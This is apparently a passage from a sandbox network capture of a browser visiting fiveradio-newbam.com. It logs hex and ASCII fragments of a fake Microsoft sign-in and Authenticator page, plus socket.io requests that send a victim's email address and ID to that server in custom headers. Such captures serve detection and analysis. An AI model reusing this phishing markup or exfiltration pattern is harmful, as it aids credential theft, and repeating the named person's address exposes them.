0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22emailLabel\x22>email@gmail.com</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22signIn\x22>Approve\x20
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 6c 65 78 3b 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 5c 78 32 30 37 70 78 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 30 2e 39 72 65 6d 3b 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 32 32 3e 49 5c 78 32 30 63 61 6e 5c 78 32 37 74 5c 78 32 30 75 73 65 5c 78 32 30 6d 79 5c 78 32 30 41 75 74 68 65 6e 74 69 63 61 Data Ascii: 20style=\x22display:\x20flex;\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20style=\x22padding-right:\x207px;\x20font-size:\x200.9rem;\x20color:\x20#0067b8;\x20cursor:\x20pointer;\x22>I\x20can\x27t\x20use\x20my\x20Authentica
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 5c 78 32 32 5c 78 32 30 70 6e 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 37 63 63 30 39 36 64 61 36 61 61 32 64 62 61 33 66 38 31 66 63 63 31 63 38 32 36 32 31 35 37 63 2e 70 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 5c 78 30 61 5c 78 32 30 5c 78 32 Data Ascii: \x22\x20pngsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22\x0a\x20\x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49748	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:37 UTC	604	OUT	GET /favicon.ico HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fiveradio-newbam.com/jsnom.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:37 UTC	755	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Jun 2024 11:54:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZEUxPOgvWkZ66GiznvTs4uSMrL%2BXb%2F5OnB7RrK3PJ6qFXaDXmvV6WYSHqFP1nxI8QHkphHp8DLv6SNx2RNOXU7QlWieeXAW7wk6FvOvZXO%2FCJSEw3nShy7%2FJZ9j%2BjNEN9XB7avYtgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90b08d7d42ef-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:37 UTC	156	IN	Data Raw: 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /favicon.ico</pre></body></html>
2024-06-20 11:54:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49752	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:41 UTC	504	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVxEf HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:42 UTC	737	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:41 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BljSQ%2FVuFlR%2FNSBpEuf%2B8uEENB2bXnou9onS9opFaVLgnNBGLM%2F7Z0fnITpuUpqs5r1ELuVHn7l38vjQf20UBS1dI%2Fh2ACLLDQBGEDBfftuK1qaEc3Pz%2B65udbcBCzDvAOVdBq92MA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90cc6cbf7cf3-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49753	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:42 UTC	638	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVxEf HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:42 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7QwUAukejZ5GiDDyjlzqDJoNs%2FAObHLpjA5k1UtXtlyyhm9rR757oVkYSr923kb%2BlYxHbdOxovpEiVLwD%2B8koBo7zJxCN2qsSEl40S2w%2F9F0GLfN20dhYO5Lbwb21xj5zFf6XmfB%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d03ec232fc-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:42 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 75 56 53 47 34 30 58 4d 6f 56 4a 39 48 63 43 76 41 41 57 75 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"uVSG40XMoVJ9HcCvAAWu","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49754	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	388	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVxEf HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:43 UTC	633	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:43 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0AQrUZPVr2vSvnZv6D5UzfNLINOQtcTP4Q4WHg4K0L2QFpUL3Rsrh3S0cR3J2vEGBK5OApFCQ%2BgLw4p1YWb3R753YI2zs%2BUvkzZBdUuzv2hNPIlSQFYBexsTUWBrFr5UrWBaDxPZcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d439a47cac-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:43 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 61 77 51 6b 45 39 64 56 70 6f 65 63 53 70 79 77 41 41 57 76 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"awQkE9dVpoecSpywAAWv","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49757	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	530	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:43 UTC	735	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:43 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E0u%2FRjboayBNXKKXc8pUJAaOWUc2HRwM%2Bt%2FG8ppOqPlBnK35ER42dJJ4C1XiTqdDHRLR8fFu56eBHwXLa%2Fd5WVuNYjXzL%2BoEspN5am2srElJhwhudyvB26Dm2oDgTOYlVZQs5eM%2FkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d41b7dc404-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49755	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	529	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:43 UTC	731	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:43 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B899K%2BEdCHZaIaraL25p6Q45IfWUJYxYkIi6aClJ83NwpGpRkC5OVl1rd2SD9m6nRfzql9UR6qXqGG5pnMHRFFyJ%2BME9w%2FDFwhTNpRHEieSsU0k4gxwco9tvYPQ4zgWlhK2QSGZMNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d46c9e4408-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49756	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	541	OUT	GET /socket.io/?EIO=4&transport=websocket&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: dVcwyvBW17Jv5qAkA6E21w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-06-20 11:54:43 UTC	621	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BEIyF01hJivJWVnlEZduqi4OjES0%2FZuK9UYORUy%2BUrtZAouFk6t2u5wAJ7GzzsSl2VGuZRIk%2F1g0LwAjdzwhxZq21x90mzeB5ZVUAfoHwZrB6k43Vg9OJfeP1Lq2F%2Fx4IoMfKElsgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d49bbd8cc0-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:43 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-06-20 11:54:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49759	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	723	OUT	POST /socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Auth_UID: USER21052024UNIQUE1031052124202420240521311024 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: text/plain;charset=UTF-8 Accept: / Session_Email: michael.deretz@aftral.com sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:43 UTC	2	OUT	Data Raw: 34 30 Data Ascii: 40
2024-06-20 11:54:43 UTC	628	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Y046Nta7c5HFXpzdstpv6ETYIA%2FAbxQPskM%2FuuTxkhPWNVDCiZeBHQomaQPyJndmBJsbrPwBPuRb2wFaqG%2B31r0JIuq2CJV8A4BJ8H4sYN7e5rCFj79Mcvw%2BU42sUsK5y3g5Az6BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d82e394352-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-20 11:54:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49760	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:43 UTC	663	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:44 UTC	637	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:44 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H57lSW5ty7TGppaHp%2FqSgq%2FtoZsyX%2BMH7ML1JybzP8ghK5I3DeOZArCQwDfetBCC1EQ1G%2Bd093IXJHlYXWtt4GAiZ9XDtPz8hAnOPAWpUB%2BPe3m5Dlar7w5udPWvppE7lHEi1I7GHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90d88b717ca0-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:44 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49761	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:44 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:44 UTC	593	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:44 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BOKdgd6z3ID1%2Fylqhz0GcPGNzQDTvmtuBPqqwkcWSm4jGIixHFTcqOT%2BBQ896ymEtxlDg97Iby%2BE9I8IlvSh93fCDAxbgQnJ99%2FcO19tYV9%2FMVZ%2BeQk8vnb925FR3ttQyIWmFG55yw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90dc19e041e1-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49762	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:45 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:45 UTC	619	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GW2caS6jJlwDJacjQxQPTQwqYnqEI9BJ1QM0MefaaKVB9bIXjtoALcQG1nWBXH2VE3ey2VnVZMtk15osb2tcf%2BTrlxdzjPz%2B9%2BD1BUrBdr4CW%2Fhpnl4KFvjGQcFJtnRIxfRShfvFqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90e06e216a58-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:45 UTC	47	IN	Data Raw: 32 39 0d 0a 7b 22 63 6f 64 65 22 3a 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 65 73 73 69 6f 6e 20 49 44 20 75 6e 6b 6e 6f 77 6e 22 7d 0d 0a Data Ascii: 29{"code":1,"message":"Session ID unknown"}
2024-06-20 11:54:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49765	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:49 UTC	504	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVzBj HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:49 UTC	731	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:49 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BsZ3V1Cq8b9I8BiVHGgtMHc7leCrTRTssWs63dKLAe03RPcilm7VjaI%2Flmf64UlZwGe3WZlQs2XCh%2FHO63EgzEYRz3hZZ0gOlwP7KaAMhWzrquX8ez%2BVkECEzqwCF4kLuvp%2FJtL4qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90fb7ddbc336-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49766	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:50 UTC	638	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVzBj HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
